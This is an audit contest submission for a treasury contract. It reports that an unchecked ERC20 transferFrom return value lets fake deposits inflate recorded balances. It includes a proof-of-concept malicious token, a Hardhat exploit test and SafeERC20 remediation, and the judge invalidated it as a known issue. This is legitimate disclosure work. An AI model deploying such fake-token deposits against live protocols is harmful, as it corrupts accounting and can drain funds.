Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Unchecked ERC20 transfer return value enables fake deposits and treasury accounting corruption

Description

The Treasury::deposit function uses IERC20::transferFrom without checking the return value. This allows tokens that return false instead of reverting on failed transfers to corrupt the treasury's balance tracking. Attackers can exploit this to artificially inflate both token-specific _balances and the _totalValue without actually transferring tokens.

Proof of Concept

  1. Deploy an ERC20 token that returns false on failed transfers instead of reverting

  2. Attacker calls Treasury::deposit with this token and any amount

  3. The transferFrom call fails silently (returns false) but execution continues

  4. Treasury records the full deposit amount in _balances and _totalValue

// MaliciousToken.sol
contract MaliciousToken is ERC20 {
function transferFrom(address, address, uint256) public override returns (bool) {
return false; // Always fails transfer but returns false
}
}

Add this test to Treasury.test.js:

describe("Exploit: Fake deposits", () => {
it("should record deposit for non-compliant token", async () => {
// Deploy malicious token
const MaliciousToken = await ethers.getContractFactory("MaliciousToken");
const badToken = await MaliciousToken.deploy();
// Default treasury value before deposit
expect(await treasury.getTotalValue()).to.equal(0);
// Attempt deposit
await badToken
.connect(user1)
.approve(treasury.getAddress(), ethers.parseEther("100"));
await treasury
.connect(user1)
.deposit(badToken.getAddress(), ethers.parseEther("100"));
// Treasury incorrectly records balance
expect(await treasury.getBalance(badToken.getAddress())).to.equal(
ethers.parseEther("100")
);
expect(await treasury.getTotalValue()).to.equal(ethers.parseEther("100"));
});
});

Impact

High Severity - Allows complete corruption of treasury accounting system. Protocol financial reporting becomes unreliable, allocations and withdrawals based on false balances could lead to unexpected outcomes.

Recommendation

  1. Use OpenZeppelin's SafeERC20:

- import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+ import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
+ using SafeERC20 for IERC20;
- IERC20(token).transferFrom(msg.sender, address(this), amount);
+ IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
  1. Manual return value check:

bool success = IERC20(token).transferFrom(msg.sender, address(this), amount);
if (!success) revert TransferFailed();
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[INVALID] SafeERC20 not used

LightChaser Low-60

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.